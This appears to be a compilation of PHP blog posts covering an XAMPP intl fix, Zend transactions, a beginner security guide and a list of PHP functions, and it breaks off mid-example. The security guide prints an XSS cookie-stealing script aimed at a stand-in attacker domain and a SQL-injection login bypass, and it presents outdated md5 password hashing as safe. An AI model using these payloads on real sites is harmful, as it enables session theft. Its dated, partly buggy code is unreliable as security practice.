Installing intl extension in XAMPP Fix “icuuc46.dll” file missing error

To install intl extension for php in XAMPP,

  • Open [xampp_folder_path]/php/php.ini to edit.
  • Search for
    ;extension=php_intl.dll

    and uncomment the line by removing semicolon.

  • In [intl] section, uncomment and define default_local and error_level values.
    [intl]
    intl.default_locale = en_utf8
    intl.error_level = E_WARNING
  • Save and exit the editior.
  • In XAMPP control panel, restart the apache.

If you have the “icuuc46.dll” file missing error.

 

When I was trying to install intl extension for php in XAMPP version 1.7.7, I had this error saying that “icuuc46.dll” file is missing and need to install for intl extension to work. After I have read through some forums, it seems like it is a bug in this xampp version. Files are included in the package but in different locations. So simple copy and paste will solve this one. I would not move the files just in case there are some other dependency.

  • Go to [xampp_path]/php/
  • Select the following 3 files:
    1. icudt46.dll
    2. icuin46.dll
    3. icuuc46.dll
  • Copy
  • Paste the files in [xampp_path]/apache/bin folder.

Now we can go back to finish our own installation. :) .

Copied cynwong

MySQL transactions in Zend framework

Hi! Today I’m going to explain a part of Zend framework DB functionality. Transactions in general are quite useful, like temporary tables, but in most of situations unnecessary. Because of that, I’m going to explain when and how to use them through Zend framework.

What is transaction?
A simple answer would be – a number of individual queries that are grouped together.

An example would be something like this:

UPDATE balance SET total = total - 100 WHERE account_id=1;
UPDATE balance SET total = total + 100 WHERE account_id=2;

Why transactions?
In general web development, transactions are unnecessary. If for some reason post in your CMS isn’t saved, you’ll write it again. It is a problem, but only annoying one, not a crucial one. But if you own a web shop, and someone create an order, pay for it, and you – owner of that store can’t see it because of database glitch, that would be a problem. Take a look at example above. I only first query in that transaction was executed, total amount of money from account would be decreased by 100, and that money would simply disappear (if we’re looking at your database). Or if only second was executed, account 2 would have 100 extra in its total sum – again virtually from nowhere.

This is the place where transactions are necessary. Because transactions either execute all queries assigned to it, or none of them. I hope you see the point.

The syntax
This is a basic example from official MySQL documentation:

START TRANSACTION;
--BEGIN TRANSACTION
SELECT @A:=SUM(salary) FROM table1 WHERE type=1;
UPDATE table2 SET summary=@A WHERE type=1;
--SET SOME QUERIES
COMMIT;
--AND COMMIT THEM

When the Zend framework comes in
Its pretty much self explained, so here’s a code snippet with comments:

$db = self::db();
//GET DATABASE CONNECTION (DEPENDING ON YOUR SETUP)
 
$q =  "UPDATE balance SET total = total - 100 WHERE account_id=1;UPDATE balance SET total = total + 100 WHERE account_id=2;";
//PREPARE QUERY
 
$db->beginTransaction();
//BEGIN TRANSACTION ON DATABASE CONNECTION
try
{
$db->exec($q);
//SET QUERY YOU WISH TO EXECUTE
 
$query = $db->commit();
//COMMIT QUERY TO DATABASE
}
catch(Exception $e)
{
$db->rollBack();
//ROLLBACK IF TRANSACTION FAILS
 
$error_result = Array();
$message = $e->getMessage();
$code = $e->getCode();
$error_result[0] = $message;
$error_result[1] = $code;
//GET ERROR INFORMATION IF SQL FAILS
}

Conclusion
Now, You’ve created a transaction in your Zend project. You’ll get a rollback on your database if any of the queries fails and you won’t have any “missing records and values” in your database. This isn’t so complicated to create for every crucial query in your application, especially when you know its going to work like a charm!

php security – XSS XSS SQL Injection Spoofed Form Input CSRF File Upload Including Files eval() Register Globals Magic Quotes

Introduction
Different Types of Attack
XSS
SQL Injection
Spoofed Form Input
CSRF
File Uploads
Including Files
eval()
Register Globals
Magic Quotes
Error Reporting
PHP 5
Plain Text Passwords
Taking it further: Salting
Conclusion
Enjoy this guide/find it useful? Please consider donating!

Introduction

Since PHP is a very high-level scripting language, some of the potential security flaws that many languages present are totally irrelevant to it: you don’t have to manage your memory, for example, and thus don’t have to worry about things like buffer overflows. Being a high-level language also means that PHP is much easier to learn; however, this is possibly the biggest problem with the language as a whole. Many people learn PHP as a first language and don’t consider some of the fundamental considerations one must make when writing programs, particularly ones as public as are most web applications.

This guide aims to familiarise you with some of the basic concepts of online security and teach you how to write more secure PHP scripts. It’s aimed squarely at beginners, but I hope that it still has something to offer more advanced users. Enjoy.

Different Types of Attack

XSS

XSS stands for “Cross Site Scripting”, and refers to the act of inserting content, such as Javascript, into a page. Usually these attacks are used to steal cookies which often contain sensitive data such as login information.

An example of a script vulnerable to XSS is this simple script to fetch a news item based on its ID:

$id = $_GET['id'];

echo ‘Displaying news item number ‘.$id;

/* snip */
Now, if $_GET[‘id’] contains a number, then all’s well and good—but what happens if it contains this?

<script>
window.location.href = "http://evildomain.com/cookie-stealer.php?c=" + document.cookie;

If a user passed this simple Javascript into the $_GET[‘id’] variable and convinced a user to click it, then the script would be executed and pass the user’s cookie data onto the attacker, allowing them to log in as the user. It’s really that simple.

Firstly, you must never implicitly trust user input. Always presume that every bit of input contains an attack, and code to account for that. To do this, you need to filter user input, removing it of HTML tags so that no Javascript can be run. The easiest way to do this is with PHP’s built in strip_tags() function, which will remove HTML from a string rendering it harmless. If you just want to make the HTML safe without removing it altogether, then you need to run the input through htmlentities(), which will convert < and > to < and > respectively.

SQL Injection

Many sites use databases as a backend to store their data, using queries to insert and select data from it. However, many people are unaware that such sites are often vulnerable to a form of attack called SQL injection.

SQL injection is when malformed user input is used directly and deliberately in an SQL query, in a way that allows the attacker to manipulate the query. This means that an attacker could delete portions of your database, make himself an admin account etc—the possibilities are endless.

One of the most common vulnerabilities is when logging in to a site. Take this example:

$username = $_POST['username'];
$password = $_POST['password'];

$result = mysql_query("
SELECT *
FROM
    site_users
WHERE
    username = '$username'
    AND
    password = '$password'
");

if ( mysql_num_rows($result) > 0 )
    // logged in

This is vulnerably to a pretty obvious SQL injection; can you work out how an attacker could modify the query to allow himself to be logged in regardless of whether or not he has the right password?

If the attacker enters a valid username in the username field—”rob”, say—and the following in the password field:

' OR 1=1 '

The resulting query will look like this:

SELECT *
FROM
    site_users
WHERE
    username = 'rob'
    AND
    password = '' OR 1=1

It will therefore select all users where:

the username is “rob”
either the “password” field is empty, or 1 is equal to 1
Since the last criteria will always be true—when is 1 ever not equal to 1?—the user will be able to log in as rob without knowing rob’s password. Eek!

As with XSS attacks, you must never trust user input. The best way of cleaning user input is using PHP’s built in mysql_real_escape_string() function; this will escape characters such as ‘, ” and others, making them useless in “breaking out” of a quoted string as in the above example. If you’re using a number in your query, then you should use intval() on the inputted number to ensure it is numeric.

Spoofed Form Input

As an extension of the above two points, it’s important to remember that input sent to your script may not have been sent from the form you created. This means that, although you might have data in checkboxes, radio buttons, selects or other “read-only” elements, they might contain values that were never in the elements you created and thus need filtering just like inputs and textareas.

This also means that you cannot rely soley on client-side validation. Whilst it’s nice to have errors pointed out to the user without having to reload a page (and possibly lose all of their input), using client-side validation as a security measure is not sensible. Make sure you check all input server-side, in your PHP scripts, before you do anything like insert it into a database.

See the CSRF section below for more details on how to avoid spoofed form input.

CSRF

CSRF stands for “Cross-Site Request Forgery”, and CSRF attacks are similar in scope and methodology to XSS attacks. CSRF attacks usually either exploit the fact that many websites perform actions on HTTP GET requests—deleting blog posts, buying items etc.—or spoof a client request to a resource so that the website believes the request is genuine. Either way, the victim performs an action on a website that trusts him—usually his own—that he did not intend to happen.

First, we’ll begin with an example attack, then we’ll look at some ways of defending against such attacks.

Many websites allow you to perform actions at the click of a link, such as deleting a forum post. Usually, the URLs that perform these sorts of actions look a little like this:

http://example.com/forum/deletepost.php?id=392

deletepost.php will typically check that the user performing the request is logged in, and if so perform the requested action—in this case, deleting the post with the id of 392. However, this method of authentication leaves open a massive security flaw; what if a privileged user—a forum moderator, for example—were to be tricked or forced into visiting this URL? The post would be deleted, but that’s not what the moderator wanted. An attacker could even go further—if the URL were entered in an HTML tag, for example, the privileged user would likely not even know that they had performed the action.

How, then, can we avoid such attacks? There are two methods that, when used together, completely eliminate the possibility of CSRF attacks.

The first is rather simple: never, ever use GET for any critical task. Instead, use a POST form. Such requests are harder to forge and have the added bonus that they are impossible to load into HTML image/script tags, eliminating an attacker’s ability to exploit your site remotely.

The second is to make sure all requests originate from your own forms, eliminating the possibility that the request could have been loaded from a fake form on a different webpage. To do this, we can create a value— known by some as a “nonce”, but here referred to as a “token”—that is created especially for the form, submitted along with it, and checked— along with the usual permission checks—before the action is performed.

Here’s an example that creates and checks a token before deleting a forum post:

<?php

session_start();

if( !empty($_POST['post_id'] ) {
    if( !user->is_a_moderator )
        die;
    if( empty($_POST['token']) || $_POST['token'] != $_SESSION['token'] )
        die;

    // All fine: delete the post.
    delete_post( intval($_POST['post_id']) );

    // Unset the token, so that it cannot be used again.
    unset($_SESSION['token']);
}

$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;

?>

 

<form method="post">

<p>Post ID to delete:</p>
<p><input type="text" name="post_id" /></p>

<input type="hidden" name="token" value="<?php echo $token; ?>" />

</form>

As we can see, using a POST form with a generated token is simple, straightforward and eliminates the possibility of CSRF attacks.

File Uploads

File uploads are potentially the biggest security risk in web development. Allowing a third-party to place files on your server could allow them to delete your files, empty your database, gain user details and much more.

However, it’s certainly possible to upload files safely, and such functionality can be a great feature of your site.

When allowing users to upload files from their local machine to your server, there are two things that you need to check. The first is the mime-type of the uploaded file; if your script is uploading images, for example, you’ll want to just accept image/png, image/jpeg, image/gif, image/x-png and image/p-jpeg. You can do so as follows:

$validMimes = array(
    'image/png',
    'image/x-png',
    'image/gif',
    'image/jpeg',
    'image/pjpeg'
);

$image = $_FILES['image'];

if(!in_array($image['type'], $validMimes)) {
    die('Sorry, but the file type you tried to upload is invalid; only images are allowed.');
}

// Do something with the uploaded file.
The second thing to check is the file extension. It’s certainly possible to spoof a mime-type; one vector is to take an image, insert PHP code into the sections the file format allows for meta data, give it a .php extension, and upload it. In this case, your mime-checking would think the file was an image, upload it, and allow execution of the PHP code within.

To avoid this, you should manually assign files an extension based on their mime-type. We could extend our above example to take this into account:

$validMimes = array(
    'image/png' => '.png',
    'image/x-png' => '.png',
    'image/gif' => '.gif',
    'image/jpeg' => '.jpg',
    'image/pjpeg' => '.jpg'
);

$image = $_FILES['image'];

if(!array_key_exists($image['type'], $validMimes)) {
    die('Sorry, but the file type you tried to upload is invalid; only images are allowed.');
}

// Get the filename minus the file extension:
$filename = substr($image['name'], 0, strrpos($image['name'], '.'));

// Append the appropriate extension
$filename .= $validMimes[$image['type']];

// Do something with the uploaded file
You can see how the above attack is avoided; if the image containing the PHP code was called foo.php and was a PNG, it would would be renamed to foo.png and the code would not be executed.

Including Files

Never, ever include files based on user input without thoroughly checking said input first. One of the major culprits of this is the ubiquitous index.php?page=something.php script that so many people love to use:

include $_GET['page'];

By doing so, you can make maintenance of your site much easier; you can keep content in individual files, and make changes to areas such as the navigation in just one file and have them appear globally—much like frames, but without the client-side disadvantages they bring. However, there is a problem with this method; it allows the user to specify whatever file they like, giving them access to the contents of any file on the server that your PHP script has permission to open. Even worse, if the PHP directive allow_url_fopen is turned on, an attacker can open files from another server—and execute any PHP code within them, since the script uses include and not something like echo file_get_contents(). This gives them complete control of your webserver and the files on it. As you can see, this is very bad.

You can prevent this in one of two ways. If you only have a few pages, you can make a white-list of pages that are allowed, like so:

switch($_GET['page']) {
    case "about":
        include('about.php');
        break;
    case "news":
        include('news.php');
        break;
    default:
        include('home.php');
        break;
}

This method means that only the pages you explicitly and specifically allow can be included into the page, removing any possibility of an attack. However, it’s rather cumbersome—every time you add a new page, you have to edit this file and add it to the whitelist.

So, a better method would be to simply clean the input to make sure that it’s safe. This strikes a balance between the ease-of-use of the first method and the security of the second.

$page = preg_replace('/\W/si', '', $_GET['page']);

include(‘./’.$page.’.php’);
In this particular script, we take two steps to make sure that the file is valid. The first, scary-looking line is a regular expression, which removes all non-word characters—that is, non alpha-numeric ones—from the input. This means that an attacker cannot traverse directories using .., or input a URL—http://www.google.com, for example, would be filtered to httpwwwgooglecom: useless, but safe.

Another related point is the naming of included files. Many scripts store their settings in external files to make it easy for end-users to change them. If you’re working on a script that does this, be sure to name your included files with an extension that isn’t displayed as plain text. Many scripts use .inc, which by default is displayed as a regular text file in most web servers. This could give users access to sensitive information such as database details and user info. The best option is to name the files with an extension of PHP; that way, if a user requests the files, they’ll simply be greeted with a blank page.

If you’re using Apache, and using a script that insists on using INC files, then you can use this setting to disallow direct access to .inc files:

<files ~ "\.inc$">
Order allow,deny
Deny from all
</files>

This should be placed in a file called .htaccess, in your top-level directory. It basically disallows end-users from viewing .inc files, but still allows scripts to include and use them.

eval()

eval() is a useful but very dangerous function that allows you to execute a string as PHP code. There aren’t many occasions where this is neccessary, and being realistic you should avoid its usage, especially if you want to use user input in the string.

Register Globals

register_globals is a PHP setting that automatically takes data from the superglobal arrays ($_GET, $_POST, $_SERVER, $_COOKIE, $_REQUEST and $_FILE) and assigns them to global variables; $_POST[‘message’] would automatically be assigned to $message, for example. This setting is automatically disabled with new installations of PHP, and with good reason. Take this example:

if($_POST['username'] == 'rob' && $_POST['password'] == 'foo') {
    $authenticated = true;
}

if($authenticated) {
    // do some admin thing
}

Now, with register_globals turned off, this script works as intended; $authenticated is only set if the user has entered the correct password. However, with register_globals turned on, a malicious user could run the script as

script.php?authenticated=true

and he would automatically be granted admin rights.

There’s not a whole lot you can do about this setting if you’re using shared hosting, but you can code your scripts so that they aren’t affected by any malicious exploitation of register_globals. The above example, for instance, would become:

$authenticated = false;

if($_POST['username'] == 'rob' && $_POST['password'] == 'foo') {
    $authenticated = true;
}

if($authenticated) {
    // do some admin thing
}

By explicitly setting $authenticated to false, we avoid any potential overrides through register_globals.

Magic Quotes

Magic Quotes were an attempt by the PHP developers to add some default security into PHP; when the magic_quotes_gpc setting is turned on, all ‘ (single quote), ” (double quote), \ (backslash) and NULL characters are escaped with a backslash automatically. Note that this is NOT the same as mysql_real_escape_string(), and by turning it on you do NOT prevent all SQL injection attacks. This is the first problem.

The second is that that they pose a portability nightmare. Some hosts have the setting on, and others don’t; if you’re writing a script that’s going to be used on multiple systems, you need to check whether magic quotes is turned on and act appropriately.

However, there are solutions to this. One method is to check if the setting is turned on and, if it isn’t, add magic quotes yourself:

function add_magic_quotes($array) {
    foreach ($array as $k => $v) {
        if (is_array($v)) {
            $array[$k] = add_magic_quotes($v);
        } else {
            $array[$k] = addslashes($v);
        }
    }
    return $array;
}
if (!get_magic_quotes_gpc()) {
    $_GET    = add_magic_quotes($_GET);
    $_POST   = add_magic_quotes($_POST);
    $_COOKIE = add_magic_quotes($_COOKIE);
}

Alternatively, you can do the opposite, and remove the slashes if magic quotes are turned on:

function remove_magic_quotes($array) {
    foreach ($array as $k => $v) {
        if (is_array($v)) {
            $array[$k] = remove_magic_quotes($v);
        } else {
            $array[$k] = stripslashes($v);
        }
    }
    return $array;
}
if (get_magic_quotes_gpc()) {
    $_GET    = remove_magic_quotes($_GET);
    $_POST   = remove_magic_quotes($_POST);
    $_COOKIE = remove_magic_quotes($_COOKIE);
}

Include either of these methods at the top of your main include, and rest easy.

Error Reporting

If you have error reporting turned on fully, important information can be displayed in the event of an error—even a relatively minor one. PHP provides a function called error_reporting() that allows you to change the level of error reporting on a per-script basis.

Whilst in development, you should take advantage of this function to display all errors, warnings and notices, like so:

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
This helps to avoid any errors appearing on production sites that you’d missed in development, and helps you produce better code—especially since notices are usually about flaws in style.

However, when you put your site into production, this level of detail can be dangerous. You can’t forsee all errors during development—your program could run out of memory or diskspace, for example. So, for safety’s sake, on production sites you should disable the displaying of errors and instead log them to a file safely outside of your directory root; this way, the public can’t see if anything goes wrong, but you can. Here’s a simple bit of code that will accomplish this:

error_reporting(E_ALL^E_NOTICE); // This is a 'sensible' reporting level
ini_set('display_errors', 0); // Hide all error messages from  the public
ini_set('log_errors', 1);
ini_set('error_log', 'path/to_your/log.txt'); // Preferably a location outside of your web root

Be sure to edit the path to the error log so that it’s a correct path and one that is writeable by the server process—and check regularly for errors.

PHP also offers a function, set_error_handler(), that allows you to write your own error handling function that is called when an error occurs. This way, you could implement a much more sophisticated system, perhaps displaying errors to admins or giving a “nice” message to users when the site is down, rather than a confusing PHP-generated error or even a blank page.

Another important thing that people sometimes miss is mySQL error reporting. A useful tip for development is to print error reports when a query fails so you can see what went wrong, like so:

mysql_query('
SELECT *
FROM table_that_doesnt_exist
') or die(mysql_error());

During development, this is great—it allows you to see quickly that the table doesn’t exist, and that’s why it’s breaking. However, you should never leave this on in a production environment; if there happens to be an error, you should log the error appropriately and give a generic error message to the user if it’s critical. If you don’t, an attacker can find out important information about your database schema and even some login information.

PHP 5

PHP 5 offers error reporting that is worlds away from the simple system in PHP 4. One of the most important additions is the ability to throw and catch exceptions, a feature that many languages have offered for years but PHP has only just picked up.

When a function encounters an exceptional circumstance it can raise—or throw—an exception. The code executing that function can then try the function, catch any exceptions that occur and act accordingly. If the exception is not caught, your script will display a fatal error and halt execution.

Here’s some example code that should make things a bit clearer for you:

function getData($filename) {

    if(!file_exists($filename)) {
        throw new Exception('File does not exist');
    }

    if(filesize($filename) == 0) {
        throw new Exception('File is empty');
    }

    // If any of the above exceptions are thrown,
    // this code will not be executed:
    return file_get_contents($filename);

}

try {
    getData('file.txt');
}
catch(Exception $e) {
    echo 'There was an error opening the file: '.$e->getMessage();
}

You may also extend the exception class: the PHP manual has some great information on the subject.

As you can see, exceptions are a great way of avoiding the display of nasty PHP errors and maintaing the integrity of your code, especially when you do a little more with the catch section than simply display a message. You can keep your code running even if a severe error occurs, and by extending Exception you can make the source of errors clear to other developers.

However, exceptions are quite performance intensive and not always useful to the end user; use them sparingly and know when to use default error handling instead.

Plain Text Passwords

When storing passwords, it’s important never to store them in plain text. The reasoning behind this is that, if an attacker were ever to gain access to your database or to a user’s cookies, they would know the user’s password which they could potentially use on many other sites—as well as the fact that they would be able to log in as that user on your site.

How, then, can you hide the user’s actual password whilst also retaining the ability to check if a user’s password is correct when logging in? The answer is something called “hashing”. This way, you store a hash of the user’s password in the database, and hash the input when logging a user in; if the hashes match, the input is correct. This way, you never have to store the user’s actual password.

There are two main methods of hashing: MD5 and SHA1. PHP offers functions for both; SHA1 is generally regarded as stronger by professional cryptologists, but both are perfectly adequate for most people’s needs.

Here’s a quick example of a safe way to do things:

$user_name = mysql_real_escape_string($_POST['username']);
$user_password = md5($_POST['password']);

$result = mysql_query('
SELECT COUNT(*) AS count
FROM users
WHERE user_name = "'.$user_name.'"
AND user_password = "'.$user_password.'"
');

$row = mysql_fetch_assoc($result);

if($row['count'] > 0) {
    // Password is okay.
}

Also worth noting is that there’s no need to escape the MD5d password before inserting it into the database, since MD5 hashes are always alphanumeric.

Taking it further: Salting

Salting refers to the concept of adding an extra piece of information to the data we’re hashing before we hash it. This means that even if a user were to have a list of every known MD5/SHA1 hash (which is an absolute impossibility, naturally), plus the user’s password hash, they’d still not be able to derive the password from the hash by comparison unless they also knew the salt data, making dictionary attacks useless.

This is perhaps better explained with an example.

Let’s say a particularly unimaginitive user chooses for their password the word “password”. If we don’t implement salting, the password is stored in the database as 5f4dcc3b5aa765d61d8327deb882cf99, the plain MD5 value of “password”.

If a hacker gains access to the password hash of a user, either from their cookie or from the database itself, they could then scan through a “dictionary” of words, hashing each one with MD5, until they found a hash that matched the user’s—they would then know that that particular word was the user’s password.

By introducing salting, however, we’d end up hashing the salt as well as the password, and storing that in the database. Given a relatively strong salt of “f963kjg”, our hash would become b9be01b2cf3d77fe60f6e8892d664606, and the attacker would never be able to gain access to the user’s password—not unless they had the string “f963kjgpassword” in their dictionary, anyway.

So, to use a salted hash, we simply hash the salt and the password together:

$salt = 'thequickbrownfox';
$password 'foobar123';

$salted_hash = md5($salt . $password);
And do the same when checking the password:

$salt = 'thequickbrownfox';

$user_name = mysql_real_escape_string($_POST['username']);
$user_password = md5($salt . $_POST['password']);

$result = mysql_query('
SELECT COUNT(*) AS count
FROM users
WHERE user_name = "'.$user_name.'"
AND user_password = "'.$user_password.'"
');

$row = mysql_fetch_assoc($result);

if($row['count'] > 0) {
    // Password is okay.
}

Considering how simple a change salting is compared with the security benefits it brings, it’s certainly worth doing.

Conclusion

Hopefully this has made you a little more aware of the dangers that can face you when writing PHP scripts, and hopefully you’ve understood what I’ve tried to say. Remember: always presume that input is malformed, act accordingly, and you’ll be fine.

Useful PHP Functions and Features You Need to Know

Even after using PHP for years, we stumble upon functions and features that we did not know about. Some of these can be quite useful, yet underused. With that in mind, I’ve compiled a list of nine incredibly useful PHP functions and features that you should be familiar with.

 


1. Functions with Arbitrary Number of Arguments

You may already know that PHP allows you to define functions with optional arguments. But there is also a method for allowing completely arbitrary number of function arguments.

First, here is an example with just optional arguments:

  1. // function with 2 optional arguments
  2. function foo($arg1 = ”, $arg2 = ”) {
  3. echo “arg1: $arg1\n”;
  4. echo “arg2: $arg2\n”;
  5. }
  6. foo(‘hello’,’world’);
  7. /* prints:
  8. arg1: hello
  9. arg2: world
  10. */
  11. foo();
  12. /* prints:
  13. arg1:
  14. arg2:
  15. */

Now, let’s see how we can build a function that accepts any number of arguments. This time we are going to utilize func_get_args():

  1. // yes, the argument list can be empty
  2. function foo() {
  3. // returns an array of all passed arguments
  4. $args = func_get_args();
  5. foreach ($args as $k => $v) {
  6. echo “arg”.($k+1).”: $v\n”;
  7. }
  8. }
  9. foo();
  10. /* prints nothing */
  11. foo(‘hello’);
  12. /* prints
  13. arg1: hello
  14. */
  15. foo(‘hello’, ‘world’, ‘again’);
  16. /* prints
  17. arg1: hello
  18. arg2: world
  19. arg3: again
  20. */

2. Using Glob() to Find Files

Many PHP functions have long and descriptive names. However it may be hard to tell what a function namedglob() does unless you are already familiar with that term from elsewhere.

Think of it like a more capable version of the scandir() function. It can let you search for files by using patterns.

  1. // get all php files
  2. $files = glob(‘*.php’);
  3. print_r($files);
  4. /* output looks like:
  5. Array
  6. (
  7. [0] => phptest.php
  8. [1] => pi.php
  9. [2] => post_output.php
  10. [3] => test.php
  11. )
  12. */

You can fetch multiple file types like this:

  1. // get all php files AND txt files
  2. $files = glob(‘*.{php,txt}’, GLOB_BRACE);
  3. print_r($files);
  4. /* output looks like:
  5. Array
  6. (
  7. [0] => phptest.php
  8. [1] => pi.php
  9. [2] => post_output.php
  10. [3] => test.php
  11. [4] => log.txt
  12. [5] => test.txt
  13. )
  14. */

Note that the files can actually be returned with a path, depending on your query:

  1. $files = glob(‘../images/a*.jpg’);
  2. print_r($files);
  3. /* output looks like:
  4. Array
  5. (
  6. [0] => ../images/apple.jpg
  7. [1] => ../images/art.jpg
  8. )
  9. */

If you want to get the full path to each file, you can just call the realpath() function on the returned values:

  1. $files = glob(‘../images/a*.jpg’);
  2. // applies the function to each array element
  3. $files = array_map(‘realpath’,$files);
  4. print_r($files);
  5. /* output looks like:
  6. Array
  7. (
  8. [0] => C:\wamp\www\images\apple.jpg
  9. [1] => C:\wamp\www\images\art.jpg
  10. )
  11. */

3. Memory Usage Information

By observing the memory usage of your scripts, you may be able optimize your code better.

PHP has a garbage collector and a pretty complex memory manager. The amount of memory being used by your script. can go up and down during the execution of a script. To get the current memory usage, we can use the memory_get_usage() function, and to get the highest amount of memory used at any point, we can use the memory_get_peak_usage() function.

  1. echo “Initial: “.memory_get_usage().” bytes \n”;
  2. /* prints
  3. Initial: 361400 bytes
  4. */
  5. // let’s use up some memory
  6. for ($i = 0; $i < 100000; $i++) {
  7. $array []= md5($i);
  8. }
  9. // let’s remove half of the array
  10. for ($i = 0; $i < 100000; $i++) {
  11. unset($array[$i]);
  12. }
  13. echo “Final: “.memory_get_usage().” bytes \n”;
  14. /* prints
  15. Final: 885912 bytes
  16. */
  17. echo “Peak: “.memory_get_peak_usage().” bytes \n”;
  18. /* prints
  19. Peak: 13687072 bytes
  20. */

4. CPU Usage Information

For this, we are going to utilize the getrusage() function. Keep in mind that this is not available on Windows platforms.

  1. print_r(getrusage());
  2. /* prints
  3. Array
  4. (
  5. [ru_oublock] => 0
  6. [ru_inblock] => 0
  7. [ru_msgsnd] => 2
  8. [ru_msgrcv] => 3
  9. [ru_maxrss] => 12692
  10. [ru_ixrss] => 764
  11. [ru_idrss] => 3864
  12. [ru_minflt] => 94
  13. [ru_majflt] => 0
  14. [ru_nsignals] => 1
  15. [ru_nvcsw] => 67
  16. [ru_nivcsw] => 4
  17. [ru_nswap] => 0
  18. [ru_utime.tv_usec] => 0
  19. [ru_utime.tv_sec] => 0
  20. [ru_stime.tv_usec] => 6269
  21. [ru_stime.tv_sec] => 0
  22. )
  23. */

That may look a bit cryptic unless you already have a system administration background. Here is the explanation of each value (you don’t need to memorize these):

  • ru_oublock: block output operations
  • ru_inblock: block input operations
  • ru_msgsnd: messages sent
  • ru_msgrcv: messages received
  • ru_maxrss: maximum resident set size
  • ru_ixrss: integral shared memory size
  • ru_idrss: integral unshared data size
  • ru_minflt: page reclaims
  • ru_majflt: page faults
  • ru_nsignals: signals received
  • ru_nvcsw: voluntary context switches
  • ru_nivcsw: involuntary context switches
  • ru_nswap: swaps
  • ru_utime.tv_usec: user time used (microseconds)
  • ru_utime.tv_sec: user time used (seconds)
  • ru_stime.tv_usec: system time used (microseconds)
  • ru_stime.tv_sec: system time used (seconds)

To see how much CPU power the script has consumed, we need to look at the ‘user time’ and ‘system time’ values. The seconds and microseconds portions are provided separately by default. You can divide the microseconds value by 1 million, and add it to the seconds value, to get the total seconds as a decimal number.

Let’s see an example:

  1. // sleep for 3 seconds (non-busy)
  2. sleep(3);
  3. $data = getrusage();
  4. echo “User time: “.
  5. ($data[‘ru_utime.tv_sec’] +
  6. $data[‘ru_utime.tv_usec’] / 1000000);
  7. echo “System time: “.
  8. ($data[‘ru_stime.tv_sec’] +
  9. $data[‘ru_stime.tv_usec’] / 1000000);
  10. /* prints
  11. User time: 0.011552
  12. System time: 0
  13. */

Even though the script took about 3 seconds to run, the CPU usage was very very low. Because during the sleep operation, the script actually does not consume CPU resources. There are many other tasks that may take real time, but may not use CPU time, like waiting for disk operations. So as you see, the CPU usage and the actual length of the runtime are not always the same.

Here is another example:

  1. // loop 10 million times (busy)
  2. for($i=0;$i<10000000;$i++) {
  3. }
  4. $data = getrusage();
  5. echo “User time: “.
  6. ($data[‘ru_utime.tv_sec’] +
  7. $data[‘ru_utime.tv_usec’] / 1000000);
  8. echo “System time: “.
  9. ($data[‘ru_stime.tv_sec’] +
  10. $data[‘ru_stime.tv_usec’] / 1000000);
  11. /* prints
  12. User time: 1.424592
  13. System time: 0.004204
  14. */

That took about 1.4 seconds of CPU time, almost all of which was user time, since there were no system calls.

System Time is the amount of time the CPU spends performing system calls for the kernel on the program’s behalf. Here is an example of that:

  1. $start = microtime(true);
  2. // keep calling microtime for about 3 seconds
  3. while(microtime(true) – $start < 3) {
  4. }
  5. $data = getrusage();
  6. echo “User time: “.
  7. ($data[‘ru_utime.tv_sec’] +
  8. $data[‘ru_utime.tv_usec’] / 1000000);
  9. echo “System time: “.
  10. ($data[‘ru_stime.tv_sec’] +
  11. $data[‘ru_stime.tv_usec’] / 1000000);
  12. /* prints
  13. User time: 1.088171
  14. System time: 1.675315
  15. */

Now we have quite a bit of system time usage. This is because the script calls the microtime() function many times, which performs a request through the operating system to fetch the time.

 

Also you may notice the numbers do not quite add up to 3 seconds. This is because there were probably other processes on the server as well, and the script was not using 100% CPU for the whole duration of the 3 seconds.


5. Magic Constants

PHP provides useful magic constants for fetching the current line number (__LINE__), file path (__FILE__), directory path (__DIR__), function name (__FUNCTION__), class name (__CLASS__), method name (__METHOD__) and namespace (__NAMESPACE__).

We are not going to cover each one of these in this article, but I will show you a few use cases.

When including other scripts, it is a good idea to utilize the __FILE__ constant (or also __DIR__ , as of PHP 5.3):

  1. // this is relative to the loaded script’s path
  2. // it may cause problems when running scripts from different directories
  3. require_once(‘config/database.php’);
  4. // this is always relative to this file’s path
  5. // no matter where it was included from
  6. require_once(dirname(__FILE__) . ‘/config/database.php’);

Using __LINE__ makes debugging easier. You can track down the line numbers:

  1. // some code
  2. // …
  3. my_debug(“some debug message”, __LINE__);
  4. /* prints
  5. Line 4: some debug message
  6. */
  7. // some more code
  8. // …
  9. my_debug(“another debug message”, __LINE__);
  10. /* prints
  11. Line 11: another debug message
  12. */
  13. function my_debug($msg, $line) {
  14. echo “Line $line: $msg\n”;
  15. }

6. Generating Unique ID’s

There may be situations where you need to generate a unique string. I have seen many people use themd5() function for this, even though it’s not exactly meant for this purpose:

  1. // generate unique string
  2. echo md5(time() . mt_rand(1,1000000));

There is actually a PHP function named uniqid() that is meant to be used for this.

  1. // generate unique string
  2. echo uniqid();
  3. /* prints
  4. 4bd67c947233e
  5. */
  6. // generate another unique string
  7. echo uniqid();
  8. /* prints
  9. 4bd67c9472340
  10. */

You may notice that even though the strings are unique, they seem similar for the first several characters. This is because the generated string is related to the server time. This actually has a nice side effect, as every new generated id comes later in alphabetical order, so they can be sorted.

To reduce the chances of getting a duplicate, you can pass a prefix, or the second parameter to increase entropy:

  1. // with prefix
  2. echo uniqid(‘foo_’);
  3. /* prints
  4. foo_4bd67d6cd8b8f
  5. */
  6. // with more entropy
  7. echo uniqid(”,true);
  8. /* prints
  9. 4bd67d6cd8b926.12135106
  10. */
  11. // both
  12. echo uniqid(‘bar_’,true);
  13. /* prints
  14. bar_4bd67da367b650.43684647
  15. */

This function will generate shorter strings than md5(), which will also save you some space.


7. Serialization

Have you ever needed to store a complex variable in a database or a text file? You do not have to come up with a fancy solution to convert your arrays or objects into formatted strings, as PHP already has functions for this purpose.

There are two popular methods of serializing variables. Here is an example that uses the serialize() andunserialize():

  1. // a complex array
  2. $myvar = array(
  3. ‘hello’,
  4. 42,
  5. array(1,’two’),
  6. ‘apple’
  7. );
  8. // convert to a string
  9. $string = serialize($myvar);
  10. echo $string;
  11. /* prints
  12. a:4:{i:0;s:5:”hello”;i:1;i:42;i:2;a:2:{i:0;i:1;i:1;s:3:”two”;}i:3;s:5:”apple”;}
  13. */
  14. // you can reproduce the original variable
  15. $newvar = unserialize($string);
  16. print_r($newvar);
  17. /* prints
  18. Array
  19. (
